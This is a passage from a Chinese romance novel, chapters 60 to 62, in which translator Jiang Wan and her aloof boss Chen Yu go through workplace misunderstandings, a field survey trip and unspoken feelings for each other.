毕竟这么些年,她一个人独立惯了,早练就了一颗强大的心脏,找人慰籍,被人安慰的感觉,她早不记得了。 吃完饭,往回走,她犹豫半天,还是和姜挽开口:“刚才我不是针对你,我只是实在不知道该怎样和其他人建立一段正常亲密的朋友关系。” 姜挽当然知道了,正是因为知道,所以才会在刚才主动调节气氛,又在好几次察觉到她不适应时迅速留了余地。 一个人的性格形成,往往和她以往的经历有密不可分的关系,可姜挽不会追问这些,她只是换了一副口吻,转而安慰林瑜道:“朋友之间的相处本来就没有固定的模式,或远或近,话多话少,只需要牵涉其中的人去定义就好,自己觉得舒服就够了。” 真诚坦荡,松弛自然,林瑜觉得她还真是和其他人不一样:“你还真挺特别的。” 她突然来这么一句,倒是让姜挽有些没反应过来:“是吗?” 林瑜看她一眼:“其实,在你刚开始来的时候,我对你还是有些偏见的,”她很坦诚,开始回忆,“那会儿,你和方简简走得近,大部分时间都和她在一起,很容易给别人造成误解。” “所以,你潜意识里就认为我和她是一样的人?” 林瑜点头,而后又开口道:“如果你觉得我之前那些行为对你造成了伤害的话,我现在可以和你道歉。” 时间长了,不难感觉到林瑜其实是一个非常坦荡且真诚的人,姜挽“噗嗤”一下笑了:“道什么歉啊,”她回想起自己刚来时的样子,“要是我在知道方简简是什么人后,看到一个人和她走得那么近,我的反应八成会比你还要冷漠。” 她轻呼一口气:“而且,要说伤害,其实也是没有的。你那时候虽然冷漠,但也有自己的原则。现在想想,我倒是希望你那个时候就能告诉我方简简的为人,这样说不定我还能少走不少弯路。” 林瑜也笑了:“那不会,当时和你不熟,你知道的,我这个人一向不喜欢多管闲事。” 两人正说着,姜挽的手机突然响,她拿出来看一眼,是沈繁星打来的电话。 此时正好也已经到了公司门口,姜挽便让林瑜先进去,自己找了个安静的地方接电话:“喂— —” 话音还没落,电话里沈繁星便打断了她:“你现在人在哪儿呢?没事吧?” 沈繁星很急,急得有些不合情理,见她这样,姜挽也正色道:“我在GSC呢,没事啊,怎么了?” 听她这么说,电话里的声音才缓了几分:“U盘的事情我听说了,到底是怎么回事啊?你和我详细说说,要是你被欺负了,我现在立马就过去!不然还真当我们佳译没人,好欺负呢?” 原来是这件事,姜挽心里有谱了。 U盘的事因为担心沈繁星着急,姜挽其实并没和她说,可没想到她还是知道了。而且以她对沈繁星的了解,再清楚不过她为什么生气了:“你放心吧,现在事情都已经解决了,我没吃亏。” “真的?”沈繁星其实对事情细节知道的并不多,只是因为涉及到姜挽,才会如此在意,“你没骗我吧?” “当然没有了,”姜挽在电话这头和她打哈哈,“我是佳译的员工,你和佳译才是我的后盾,我骗你有什么意义?只不过是工作里的一点小误会,现在已经解决了,你放心吧。对了,我马上到上班时间了,先不和你说了。” 她要挂电话,沈繁星却在电话那头拦住她:“等一下,”她还是不放心,“一开始去GSC的时候那个陈屿就对你有意见,当时你不想去,还是我逼你的。现在想想,你当初要是没去,说不定也是一个正确的决定。” 姜挽没想到她还介意这些:“这都多久了,你还记得呢?” “当然了,我记得清楚着呢。” “所以呢,你想说什么就赶快说,我这真忙着呢。” 沈繁星一锤定音:“我就想说这只是一份工作,你要是实在干得不开心就不做了,回来佳译,我照样给你发工资。” “怎么,GSC这颗大树你不傍啦?以后的合作机会你也都不要啦?”姜挽逗她。 “要,我当然要了,只不过和工作比起来,眼睁睁看着自己姐妹去上刀山下火海,我还是做不到。” 沈繁星难得煽情,姜挽却被她的话逗笑了:“得了,哪有这么严重,我好着呢。再说了只是一份工作而已,我知道分寸的。” “那行吧,”沈繁星知道她忙,也就没再多说,“找时间你回来一趟,我们一起吃顿饭,我安慰安慰你。” “那我可得吃大餐。” “行,随你选。” 挂了电话,姜挽打算进去,转身的间隙,眼角余光瞥到一抹熟悉的身影。她有些不敢相信,转头去确认,刹那间顿住,没想到还真是陈屿…… 此刻就和她隔着一米多的距离,在她右侧站着,想来她刚才电话里说的话,他应该是都听到了…… 第60章 关注 “你……怎么在这里?”姜挽支支吾吾的, 边说边退,很是心虚。 陈屿注意到她的动作,神情很不悦:“这是我的公司,我在这里有什么奇怪?”他还是一贯的风格, 嘴上对她丝毫不留情面, “倒是你, 与其在这里不知道和什么人打电话, 还不如多用点脑子, 好好想想该怎么傍好GSC这棵大树, 拿到更多的项目吧。” “……” 他果然还是听到了。 姜挽很尴尬,尝试着想要解释:“没有,你听错了。” “我听得清清楚楚, ”陈屿睨她一眼, “还有你刚才说的只是一份工作是什么意思?你瞧不起现在这个工作, 不想干了?” “不是, 当然不是了!”姜挽无奈,甚至无语, 那只是为了安慰沈繁星随口说的, 可她这会儿也实在是不好解释,毕竟沈繁星刚才也确实在电话里提到了让她离开的事。 既然解释不了, 她干脆也就不打算解释了, 胡乱糊弄了两句,就打算走:“那个, 我还有工作要处理, 先回去了。” 说罢,头也不回地离开了,路过的风里, 都被她带起了一阵仓惶的尴尬。 陈屿倒是没拦她,只不过看着她的背影,陷入了沉思。 莫非,她真对这份工作不满意?想要离开GSC? 如果真是这样的话,那现在的一切,他所做的一切,还有什么意义呢? 陈屿垂着眼睛,眼睫轻轻颤了颤,心口的位置也跟着一阵心慌。 其实他刚才的出现并非偶然,自从发生了U盘事件后,他就很担心姜挽。一来是担心她的情绪,二来也是担心她觉得GSC的工作环境太复杂,不想再继续了。 所以才会在处理方简简时那般果决,这些天也尽量关注她,想着如果有异常,他能第一时间察觉到,倒也不至于手足无措。没想到,还真让他给碰上了。 回到办公室,陈屿立马给周海打了电话,让他现在就过来汇报尼斯项目的事情。 周海其实不大理解,明明昨天刚汇报过,不过一天之隔,是不会有什么大进展的,可老板的意思,他不得不听。 拿着电脑,连上投影,从项目进展到各个环节的完成情况,他都一一再次和陈屿做了汇报,但很可惜,好像并没有达到老板的要求。 从始至终,陈屿的脸色一直都是绷着的,指尖叩击桌面的轻微声响也没有断过。 即便如此,周海也只得硬着头皮继续,终于在介绍到翻译部分时,陈屿手上敲击的动作停了下来。 周海以为他是关心项目翻译,忙不迭把所有的细节都和他汇报了一边,大到进展,小到关键部分的用词,实在是一点也没敢漏下。 陈屿不想听这个,但他也不好表现得太过明显,只得耐着性子等他讲完。 终于,在周海好不容易结束,却又要开启另外一个话题时,陈屿果断打断了他:“说说姜挽吧。” “Annie?”周海有些愣,像是完全没料到,“她怎么了?” “没事,你随便说说就行。” 周海担心陈屿还是对她的工作有芥蒂,忙不迭解释:“她很好的,工作还是和之前一样认真,翻译出来的东西质量也很高,基本都是一遍过。” “我指的是她的状态,”陈屿打断他,“她最近,没什么不对劲的地方吧?” “您具体指的是……” 陈屿没想到他竟然这么不上道,干脆挑明:“她有没有离职的打算?” “离职?”周海茫然地看着他,显然没预料到他会这么问,“应该没有吧,目前没有听说。” “哦,”陈屿心里稍微松了一口气,可他怕周海看出来,于是故作严肃地解释道,“毕竟刚发生了那件事,多少还是会对她有些影响的。你最近多关注她点,要是有什么异常最好也早点知道,免得后续措手不及。” 周海觉得他说的有道理,不仅有道理,还是一个关心下属的好领导:“还是您考虑的周到,您放心吧,这事我会注意的。” “嗯,”这么长时间,总算是听到了一句让他舒心的话,陈屿满意地点了点头,“有什么异常,第一时间和我汇报。” 周海没多想:“明白,您就放心吧。” 姜挽最近发现,周海对她貌似有些过于关注了。 会议室,茶水间,甚至还有偶尔擦肩而过的电梯里,他都会多看她两眼,时间够的话,一定会再和她说两句话。 话的内容虽然每次都不一样,但无一例外,语气都是极温和的,像是小心翼翼对待某个特别的员工,不着痕迹,但又别有深意。 终于,在又一次因为开会耽搁大家临时聚在一起吃午饭,周海再次询问她这几天的状态时,姜挽忍不住开口了:“周经理,您是不是有什么话要和我说?” 周海一惊,意识到自己可能有些过于明显了,忙摇头:“没有没有,我就是随便问问。” “可您并不像随便问问的样子,”姜挽拿筷子戳着饭盒里的西兰花,盒饭是周海帮忙订的,他们项目开会耽误时间时经常会这么做,“您这段时间经常会这么问我,问我的状态,我的情绪,还有我的日常生活。” “咳咳……”周海尴尬地咳了两声,听她这么有理有据地分析,他真以为她是已经猜到了,刚想开口:“其实我……” 没想到却被姜挽中途打断:“其实您不说我也能猜到的,是我工作出了什么问题吗?还是GSC对我这个岗位有新的安排?没关系,您都可以和我直接说的。” “新的安排?”周海重复着她的话,思索片刻才明白过来,“不是,当然不是了,你多虑了。”而后,他保证,“你放心,无论是我还是GSC,对你本人还有你的工作能力都是非常认可的,所以绝对不会出现岗位变化这种情况。” “那是?”姜挽不明白了,但她知道肯定还有其它的原因。 周海叹一口气,觉得不说不行了,主要是面对一个如此真诚的孩子,他实在没办法撒谎:“其实我是担心你有什么变化,毕竟刚发生那种事,我怕你会不习惯。” 他还是选择和她坦白,原因是真的,可最开始提出这点,最关注这件事情的人他却隐瞒了。毕竟陈屿和他谈这件事情的时候,他能看出来,陈屿还是比较谨慎的。 姜挽霎时抬起头,绕了一圈,没想到竟然是这个原因,她忙和他解释:“我没什么不适应的,您放心吧。职场里这种事情很常见,比这更复杂的我之前都遇到过,我是不会把个人情绪带到工作里的。” “那就好。”周海皱着的眉头舒展开来,虽然事情被戳破有点尴尬,可他好歹也算是得到了一个肯定的回答,能够给陈屿答复了。 “您要是没其他的事,我就继续吃饭了?” “没了,你吃,快吃,”周海笑着端起自己的水杯,离开前还不忘叮嘱一句,“多吃点,你太瘦了。” “她真这么说?” 会议室里,隔着一张实木办公桌,陈屿盯着他。只不过周海能看出来,那眼神里并没有一贯的冷冽和锋锐,而是一派坦荡的释然和轻松。 见他这样,周海就知道他是高兴的:“真的,Annie当着我的面亲口说的,说她没有不适应,是不会把个人情绪到工作里面的。” 对姜挽的人品,周海是真认可:“而且我了解她的为人,她既然这么说,心里就一定也是这么想的,所以这件事我觉得我们应该不用担心了。” “嗯,干得不错,”陈屿少见地夸了他两句,随即话锋一转,“那她今天午饭吃了什么?吃的怎么样?” “中午吃了什么?”周海喃喃重复,他没准备,完全没想到领导连这个也会问,“吃了盒饭……”他犹豫,“这个也在观察范围内吗?” 陈屿顿住,其实不在。 他刚才也是下意识的,这会儿被反问才意识到这个问题确实有些过于牵强了,但仍板着脸解释:“说出口的话有时候不一定是真的,只有身体的真实反应才不会骗人。” “吃的还行吧,”周海接他的话,开始回忆,“午饭我们是一起在会议室吃的,具体我记不清了,但最后收拾的时候我去看了眼,Annie看起来挺开心的,还和其他同事约着买奶茶,应该还好。” “嗯。”陈屿点头,算是应了。 周海趁机和他提:“陈总,现在既然事情已经弄清楚了,您看观察Annie这件事,是不是也可以停止了?您是不知道,她很聪明的,我这几天的反常她其实都注意到了,今天也是她主动联系我的,别提多尴尬了。” “是吗?”陈屿稍想了下那个画面,大概能猜到周海当时的无措,大发善心地勾了下唇,“行吧。” 反正大方向他现在基本已经知道了,剩下的,他可以自己来:“对了,以后你们每周的例会,我会参加。” “参加例会?”周海怀疑自己听错了,自从上次因为他们聊八卦,陈屿在例会上发了一通脾气后,从此以后就再没参加过他们的例会。现在突然提出这个,是不是代表着……再次恢复对他们的关注了。 “怎么?有问题?” 陈屿的话打断了他的思维:“没,当然没问题了,我们整个项目组都恭候您的大驾,期待您给出指导意见。” “冠冕堂皇的话少说,我要看到结果。”陈屿起身走向落地穿,示意他可以出去了。 周海刚从陈屿的办公室出来,就立马和项目组说了这个消息。 时隔这么久,陈总再次参加他们的项目会,大家都很期待,当然也紧张。连续好几天加班加点,就为了把资料做到完美,力求精益求精。 会议的当天,每个人都攒着一股劲,不仅将自己负责的板块做了充分完美的介绍,时不时还会延伸,提出了许多可行性的意见。 陈屿虽没什么表态,会议上的发言也不多,但以大家对他的了解,不批评就是认可,不反对就是同意。所以,整场会议下来,氛围也还算可以,大家不自觉都松了股劲。 唯独姜挽。 也不知是有意还是无意,好几次她都注意到陈屿的眼神落在她脸上,还是那种无波无澜的审视。 可每当她打算对视回去的时候,陈屿又都能很好地适时移开,几次下来,姜挽都有点怀疑是她的错觉了。 会议结束,周海安排下一步的工作计划,因为图纸的数据问题,他们接下来要进行实地勘察。 地点选在北城西郊,地势和环境都和尼斯类似,在没有办法第一时间去到项目地点的情况下,现在这种是最适合的方式。 因为数据关键,技术,质量,风控还有姜挽这个翻译都会去。算起来,整个项目组的人差不多要去一半。 离开前,周海和陈屿打招呼,主要是询问他的意见:“您要是没有其他安排的话,那我们这就出发了?” “等一下,”陈屿看他一眼,幽幽开口道,“我和你们一起去。” “您……您和我们一起去?”这么多人在,周海也没收住。他最近是越来越看不懂他这个领导了。 “怎么?有问题?”陈屿还是那句话。 “没问题,当然没问题了,只是这交通……”反应过来后,周海迅速开始安排。原本他们几个人两辆车刚好合适,现在加上陈屿,就需要再单独安排一辆。 “您稍等一下,我和行政部联系马上再派一辆车过来。”说着,周海就要打电话。 “不用了,”陈屿收拾东西打算离开,“我自己开车过去。” “那怎么行,”周海接话,“要不这样,我和您一起,我帮您开。” “我自己开,”陈屿很坚持,可脚步却在路过姜挽时顿住了,看起来像是临时起意,“只不过我有几个翻译的问题,想再和姜翻译咨询咨询。” 姜挽正在整理资料,突然被叫到名字,有些懵。她还没来得及说什么呢,周海先替她答了:“当然没问题了,那一会儿Annie你就和陈总一辆车,路上刚好可以讨论讨论翻译的问题。” “周经理,我……”姜挽有点犹豫,自从上次听到那些传言后,她其实不大想再和陈屿单独相处了,怕被有心之人看在眼里,后续给他带来不好的影响。 “你什么?”陈屿和周海同时看向她。 一个冷冽,一个疑惑。 “我……”话梗在嘴边,姜挽却说不出口了,这会儿这么多人在,于情于理她都没有理由拒绝,“没什么,我是说我需要先回办公室收拾一下。” “这个没问题,”周海应下,继而把目光转向其他同事,“大家都先回去收拾一下吧,十五分钟后,我们公司门口集合。” 60-65 第61章 外勤 简单收拾了下, 姜挽来到公司门口,其他同事已经在了,不过因为陈屿还没到,没人上车, 这会儿都站在车旁安静等着。 没多久, 也就两三分钟吧, 一辆黑色迈巴赫从车库的方向驶来, 是陈屿常开的那辆。减速、刹车、停驻, 不偏不倚, 正好停在姜挽身边。 车窗落下来,是他那张带着不耐冷冽,偏偏却又帅得三百六十度无死角的俊脸。即便已经见了那么多次, 即便知道他这不耐很大程度上可能是针对自己, 姜挽还是不可自抑地心跳慢了半拍。 像是被羽毛轻轻刮了一下, 一瞬间触碰, 又一瞬间升空,来回之间, 她发现自己的呼吸也有点乱了。 周海和其他同事和陈屿打完招呼就上车了, 只剩姜挽一个人还站着。不待她开口,陈屿率先抬手指了指副驾驶的位置, 那意思是让她上车。 他没说话, 表情也淡淡的,总像是夹杂着一股不高兴, 姜挽搞不懂, 也不敢多问,忙拉开副驾驶车门坐了进去。 立时一股浅淡香味传来,像是沉木和雪松的混合, 焦焦的,沉沉的,在这样的天气里,莫名给人一种心安的感觉。 即使此刻身旁坐着的是这么一个冷眉冷眼,看起来不大想搭理她的人。 车一路向西开,绕过一排树叶枯黄的悬铃木,继而是橙黄交映的银杏,还有枝头艳红的栾树,街景变换,红黄交错,两人却始终没说一句话。 透过车内后视镜,姜挽去看他,薄唇紧抿,眉宇间一股化不开的郁色,很明显是不高兴。以防自己哪里不注意惹到他,姜挽小心将身体往车窗的方向挪了寸许。 陈屿也从那面后视镜里看着她。 见她偷偷打量,又见她小心挪动,忍不住嗤笑:“又不是第一次。” “什么?”姜挽没懂他的意思。 陈屿却懒懒地不想解释了:“没什么。” 顶着落满阳光的挡风玻璃,他很自然地打开广播,刹那一段舒缓的音乐流淌出来。 “不是说有翻译的问题要讨论吗?”姜挽还惦记着刚才他在会议室里说的话。 哪知陈屿却完全不当回事,就给出了两个字:“累了。” 累了就代表不想再讨论,想让她安静,姜挽懂他的潜台词。于是也就没再继续追问,将包里提前准备的翻译笔记拿了出来,打算在车上看一会儿。 在这里的阳光下,听着歌,看看笔记,于她而言,也是一种享受了。 对她这个行为,陈屿像是有话要说,姜挽察觉到了,指了指手中的笔记本,询问的语气:“可以吗?” 陈屿睨她一眼,很淡漠,但一般只要他不明确拒绝,就算是同意了。 笔记是她之前做的,主要记录了近期遇到的翻译问题和关键词汇,她习惯在细碎时间拿出来看一看。以往都是能持续看很久的,可今天也不知道是怎么了,看的过程中,姜挽总感觉上下眼皮不停地在打架。 也许是因为这阳光,也许是因为音乐,或者是这让人心安的氛围…… 再次醒来时,车子已经停了。 她还以为路上遇到了什么问题,忙坐直身体去看,长时间地保持一个动作导致她劲椎僵硬,不得不边揉边开口:“怎么了?遇到什么事了?” 陈屿转过头,眼神冷漠,仔细看还带着那么点鄙视:“到了。” “到了?”姜挽重复他的话,茫然眨了眨眼睛。 陈屿收回视线,没再搭理她,指尖快速操作,点击手机从相册里退了出来,继而迅速按黑屏幕。 到了?怎么就到了呢? 姜挽还沉浸在震惊里,与其说她没反应过来,倒不如说她是更不敢相信自己和领导一起出外勤,竟然在车上睡着的这个事实。 别说陈屿本来就对她有意见了,就算没意见,碰上这样的员工,也会在心里减分吧。 她想的没错,陈屿是不会轻易放过这个损她的机会的:“你睡眠不错,从上车到睡着不超过五分钟。不是说要看笔记吗,我还当你多努力呢,现在看来你的努力也不过如此。” 姜挽被他怼得哑口无言,这件事她确实没什么好解释的,干脆低头装作很忙的样子收拾东西:“抱歉啊,可能是因为昨天晚上加班太累了。” 其实还有一个原因她没说,也是因为刚才的气氛让她心安,能够真正放松下来。 说来也怪,虽说自从两人再次相遇后,每一次见面陈屿对她不是挖苦就是讽刺,可从心底里,她却并不抗拒他。 说完这句,陈屿没再继续,姜挽猜是“加班”二字罕见地触发了资本家少有的良心,于是趁此机会,她赶紧推开车门想下去。 指尖刚搭上门把手,身旁却再次响起陈屿冷冷的声音:“以后不要在车上睡觉,尤其是在其他人的车上。” 姜挽原本还以为他是关心自己,刚想感谢,却又听到他的下一句:“你睡着的样子,实在是不怎么样。” “……” 姜挽几乎当场石化。 下车没有和他说“谢谢”,是她此刻能做的最大的无声的反抗。 周海他们先到,等姜挽和陈屿走过去的时候,他们已经在分配工作了。虽说具体细节已经确认,但毕竟陈屿在,也没人敢擅自行动,大家都在等他的意见。 在这方面,陈屿一般不会干涉,告诉他们按计划工作就行,他只是过来看看,不需要被特殊对待。 话虽这样说,可没人会傻到真把领导晾在一边,但今天的实地勘测工作量确实也大,稍作权衡,周海和姜挽开口:“Annie,那今天你就辛苦一下,尽量和陈总待在一起,他有什么指示的话,你再告诉我。” 听到这话,姜挽的第一反应就是拒绝,这里这么多同事,她是真怕被有心人看见,再一谣传,对他影响不好。 不敢说的太直接,她只能迂回尝试:“陈总您应该不用人单独陪着吧?” 周海看出她有点推拒,可话已经说出去了,现在也不是他能决定的。一时间,他和姜挽同时看向陈屿,等待他回复。 “需要。”陈屿一锤定音。 周海没再争辩,姜挽却不死心,还想做最后的挣扎:“可是我今天也有工作安排。” 陈屿不答,看向周海,周海只得开口:“Annie,你的翻译工作可以先放一放,先等这些前期工作处理完。而且,前期处理得仔细,也对你后续的翻译有好处。免得数据或者文件错了,翻译还得来来回回地改。” 没理由了,姜挽深吸一口气,退开一步。眼睁睁看着周海和其他同事离开,这会儿就只剩她和陈屿还站在原地了。 “那陈总,您……” 她原本以为陈屿是不会想要去项目现场的,刚想问他的打算。可眼神一转,他已经迈步了,是朝着周海他们的方向,还非常不客气地丢给了她一句:“跟上。” 姜挽忙迈开脚步跟了上去。 虽没有干涉,可现场勘测陈屿还是全程参与了,只不过在这期间,他没和其他人沟通,全抓着姜挽一个人折腾了。 时不时会使唤她一下,一会儿是喝水,一会儿又是纸巾的,基本是把她当助理了。 姜挽每次都不敢和他离太近,也不敢和他单独待太长的时间,基本都是事情一结束,就迅速拉开和他的距离。 这么明显的举动,陈屿当然也注意到了,从她开始上车,和刚才找理由拒绝和他一起时,他就注意到了。 终于,在又一次姜挽帮他拿外套,拿完后迅速和他拉开距离时,陈屿忍不住了:“你就这么怕我?” “……” 姜挽有些犹豫,一时间没回答上来。她是有点怕,但这种怕,似乎和他说的又不太一样。 可在陈屿看来,她这犹豫就相当于是直接默认了,脾气上来了,他一把从她手中拿回外套,像是赌气,又仿佛不满:“那你刚才还坐我的车。” 听到这话,姜挽更委屈了,她茫然地看着自己此刻已经空着的两只手,那车,也不是她主动要求坐的。 因为这个小插曲,接下来陈屿没再和她说话,准确来说,是没再使唤她。姜挽刚觉得有点自己的时间,想安静下来记录现场资料时,周海他们那里却突然传来一阵骚动,接着便是争论的声音。 走近了去看,是项目组负责设计的两位技术同事,争论的内容好像和窗户有关,具体的细节姜挽不是很懂,但大致听下来就是两人各持己见,谁也没办法说服对方。 大落地窗和普通平开窗的选择,周海一时间也做不了决定。 大落地窗胜在美观开阔采光好,可平开窗却也有私密隔音能通风的好处,各有优点,不能武断决定。 就在大家一筹莫展,没办法达成一致时,人群之外突然传来一道清冽的声音:“两个都用,分别用在不同的楼层。” 是陈屿。 大家立马回头去看,只见陈屿此时正站在测量设备旁,光影之下,西装笔挺,风一吹,衣角扬起的弧度里,都自有一股天然的上位者气势在。 “两个都用?”周海他们还没考虑过这个,不用陈屿走近,他们便自动朝他围了过来。 姜挽原本是离陈屿比较近的,这样一来,不知不觉间她就和陈屿被围在了中间,她下意识地就想要躲开,当即从人群里退了出来。 见她这个动作,陈屿冷淡地瞥了一眼,但也没说什么。围绕刚才的话题,他继续开口:“一楼采用大落地窗,二楼和三楼采用平开窗,”他们这次的度假村项目计划全建造这种三层楼高的小别墅,“这样两种窗户的优势都可以充分利用,不过在设计中需要平衡。” 周海他们恍然大悟:“这确实是一个不错的方法。” 陈屿接着提醒道:“尼斯度假村项目临近地中海,气候湿润,窗户玻璃的选择上,也需要注意。隔音性能,防潮性能,还有安全性和耐用性,这些都是需要考虑的地方。” 他完全是讨论的意思,可周围人却觉得惊讶,谁也没想到,这样一个职位高的领导,平日里需要处理那么多的公司大事,却会对这些细节了解得这样清晰。 姜挽也和他们一样,她之前一直以为陈屿的工作关注点会在公司的发展和策略上,没想到对这些,他竟然也能信手拈来。 有了方向,而且还是领导亲自给的方向,大家自然也就不必再继续争论了,最后的收尾工作干得很快,没多久,就打算手工回公司了。 回去的时候,姜挽还是和陈屿一辆车,因为实在是好奇,她犹豫了很久还是忍不住开口:“我可以问你一个问题吗?”怕他拒绝,她还特意加了一句,“当然,要是觉得冒犯的话,你可以不回答。” 此时正值右转,陈屿转弯的间隙瞥了她一眼,很轻,很淡,似乎憋着一股气:“知道冒犯你还问?我和你很熟吗?” “哦。”好像是没有。 姜挽乖乖不问了。 可没过多久,她又听到陈屿开口:“有什么事快说。” “我就想知道,你为什么会对建筑知识这么了解?” 她指的是刚才玻璃的事儿,陈屿知道,可别别扭扭地,就是不愿意直接回答:“你问这个干嘛?” 以为他又要给自己扣上什么大帽子,姜挽忙解释:“我没有其他的意思,就是单纯好奇,你要是不想回答的话,我就不问了。” 陈屿没接她这话,而是直接反问:“好奇?你对我也会好奇吗?”说罢,他自嘲地笑了一下,“真有意思。” 经年重逢,再次相见,他压抑了太多,也忍了太多。今日终于听到她说这句话,虽然只是简单得不能再简单,甚至不涉及任何私人感情的两个字,他的心还是轻易就被搅动了。 手掌握住方向盘,他尽量压下心头的苦涩:“不如这样,我先问你一个问题。” “你说。”姜挽等他开口。 先是一声冷笑,随即才开口:“你了解我吗?或者说,你了解过我吗?” 夕阳的余晖擦着眼睫略过,姜挽无意识眨了眨眼,她有点懵。她只不过问了一个简单的问题而已,不知道陈屿是怎么扯到这些上面来的。而且看他的表情,此刻对她应该很不爽。 要是以前,她或许还会回答了解,可现在的陈屿,她确实是看不透。阴晴不定,脾气也大了许多,虽然她已经很小心了,可每次还是会在不经意间就惹到他了。 “那算了,我不问了,我收回刚才的问题。”担心再聊下去会造成争论,姜挽主动选择退让。 “你不问了?你收回?凭什么都由你来决定?”很突然的,陈屿发了火,虽然声音不大,可能看出来他是真不高兴了。 姜挽纳闷,侧眸看他,这会儿太阳已经开始落山了,落日的余晖洒在眉宇间,除了愤怒,更明显的还有一股颓唐的落拓。 猛地一下,心头传来一阵尖锐的刺痛。无措,混乱,还有心疼,各种情绪交织在一起,姜挽低下头:“那你决定吧。” 陈屿觉得烦躁,这不是他想要的结果。 他清楚地知道这烦躁的来源,却又没有办法说出口,于是只得转移矛头,就着她刚才的那个问题发火:“你是不是以为坐到我这个位置,就不用了解业务,平时只要开开会,训训人就可够了?” 姜挽小声辩解:“我没这样以为。” 陈屿脑袋嗡嗡的,没听清她说的话,但他也懒得问:“要做好房地产公司的管理,了解建筑知识是基本功。再说了,你又怎么知道我没做过他们那些工作?” “那你做过吗?”这下,姜挽是真觉得惊讶了。 做过,而且还不止一份,就连同时做好几份的情况也有过。现在回想起来,陈屿自己都觉得震惊。 当初他为了快速成长,独当一面,能够在和她重逢的时候不再是被随意舍弃的那一个,几乎是付出了自己的所有。时间,精力,甚至还有健康。 那段日子,他至今都不愿意回想。 “没有,”车子右拐,驶上高架桥,陈屿心头的情绪暗下去,“你话太多,我想安静一会儿。” “哦,好的。”姜挽听出他的弦外之音,也就没再继续问了。 八年的时间,他们中间实在是隔了太多的东西。更何况以目前的情形来看,进或者退,远或者近,主动权也并不在她手里了。 第62章 误会 这一次外勤之后, 姜挽很长时间都没再见到陈屿,听公司其他同事说是出国了,她也就没多在意。 姜挽其实很清楚,她和陈屿如今根本就不是一个世界的人, 只是因为这份工作, 因为这个项目, 才让她短暂地和他有了交集。 但项目总有一天会结束, 她也终将会回到佳译, 南柯一梦, 黄粱一枕,到最后,不过都是一场空欢喜罢了。 所以她现在要做的, 就是提前预设好自己的心态, 以免到时候太难以接受。 北城最近天气转凉, 周五下班的路上, 姜挽收到了尤伽的微信,说是约她明天一起吃火锅。 算起来, 她们确实也有段时间没见了, 虽然微信上一直都有联系,但和见面相比, 总归还是差了点。 【好, 那地方你来选,我请客。】从地铁站出来, 姜挽边走边打字。 尤伽那边回得也很快:【不用, 上次就是你请的,这次我来。】 【我发工资了,还有一部分项目奖金。】姜挽想了想, 又加上了一个“傲娇小黄人”表情包。 【那我就不客气啦。】尤伽也回她一个“点赞小黄人”表情包。 很快,尤伽就把吃饭的地方给她发了过来,姜挽点开去看,是一家连锁火锅店,在北城以“物美价廉”出名。 刚好进屋,她便直接拨了语音电话过去,尤伽这会儿也正闲着,两人就在微信里聊了起来,不过大多数都是尤伽在吐槽她的公司,姜挽安静听着,偶尔再安慰她两句。 同为打工人,两人都十分清楚周六上午补觉这件事的巨大含金量,所以聊到最后,正事没说几句,倒是一致同意了将吃饭的时间定在明天晚上。 挂了电话,姜挽去准备晚饭,她晚上一向吃的不多,有时是水果,有时是麦片,都是些简单且节省时间的东西。可今天不知为何,却突发奇想地想吃点热乎的。 可能是因为外面的天气,也可能是因为连她自己都没意识到什么原因造成的,此时有些空落落的内心。 这个点其他两位室友都在卧室,姜挽一个人在厨房,因为是煮面,室内瞬间便升起一圈白雾。 蒸腾的白雾擦着她的脸颊略过,和头顶的暖黄色灯光交织,光线,雾气,还有此刻朦朦胧胧的剪影,更衬得她眉眼如画,气质脱俗。 可处于这氛围中心的姜挽却没什么感觉似的,轻咬着筷子尖,有些游离之外。她把这种神游的状态归结于内心空落落的,但至于什么原因,她还没找到。 无聊之际,她拿来手机,第一个动作就是打开微信,然后去翻陈屿的朋友圈。完全就是下意识的,没有任何犹豫的一个行为,等她意识到的时候,身体已经先于大脑做出反应了。 有时候,一件事情的明白,往往都是瞬间的恍然大悟。 此时,即便再想隐瞒,再口是心非,她也不得不承认,她心里空落落的感觉,和陈屿有关。 指尖向上滑,她轻易便看完了他最近这些天的动态。确实和其他同事说的一样,他去国外了,其中一条动态里还特意加了定位,是欧洲的一个国家。 可在这一众优美的风景照里,有一张照片却显得格格不入,构图一般,色彩也偏暗,更重要的是,这张照片里陈屿的左手露了出来,能看到他虎口处有一道明显的伤疤。 伤口肿胀,疤痕呈红色,是新伤。 看到这,姜挽的心瞬间揪了起来,她的第一反应就是打算联系他。想问他在国外发生了什么,怎么弄的,严不严重。甚至于在两人的聊天框里她已经把这些话打上去了,可稍一思考,最终还是没有点击发送。 让她退缩不是因为其他的原因,还是因为陈屿。 想到他之前对她的态度,又想到两人如今的差距,此刻的她,好像真的没有立场去问这些。 一颗心,此刻的起起伏伏都是因为他。 大概是因为心里有事,姜挽一整晚都睡得不太好,原本计划的周六上午好好补觉,最终也在翻来覆去的折腾中被她自己浪费了。 晚上她如约而至,尤伽比她到得早,见到她后的第一句话就是:“呦呦,你今天没补觉啊?黑眼圈这么严重?” 吃饭的位置靠窗,姜挽跟着她进去:“没,最近工作忙,上午处理了点工作上的事情。” 尤伽也知道她外派在陈屿公司的事情:“我说陈屿到底行不行啊?”桌上有茶,她给姜挽倒一杯,“大家都是老同学,就算有什么私人情绪,也不该借着工作发泄吧。” 尤伽是想说他追不上姜挽瞎折腾,可她的弦外之音姜挽却没懂,担心陈屿被误会,她忙解释:“这个和他没关系的,是我负责项目的翻译出了问题。” 尤伽同情地看她一眼,同为打工人,她知道这其中的心酸:“资本家没一个好东西。” 再说回她和陈屿,这么些年,她和陈屿之间的关系要多复杂有多复杂,一个嘴硬,一个又从来都不说,尤伽有时候也有些搞不懂了。 “好啦,不说这些了,”所以干脆不再追问,一共两份菜单,她递给姜挽一份,“现在是我们的闺蜜时间,只聊快乐,不聊其他。” 姜挽接过:“当然,快点菜吧。” 两人正埋头研究菜单,尤伽的手机突然响,她拿起来看一眼,表情看起来很不情愿,可最终还是接了。 “干嘛?”开口的第一句语气就不大好,熟稔,不耐烦,还带着点明知故犯的恃宠而骄。 “在外面,有事儿吗?” “不去,我有约了。” “谁?我有义务告诉你吗?” “不行,就我和呦呦,不方便。” …… “行吧,行吧,我微信发你地址。” 姜挽一开始还不知道她是在和谁打电话,可慢慢听下来,再结合她的语气,大致也猜到了。 果不其然,挂了电话后,尤伽开口:“孟云程说他待会儿要过来。” 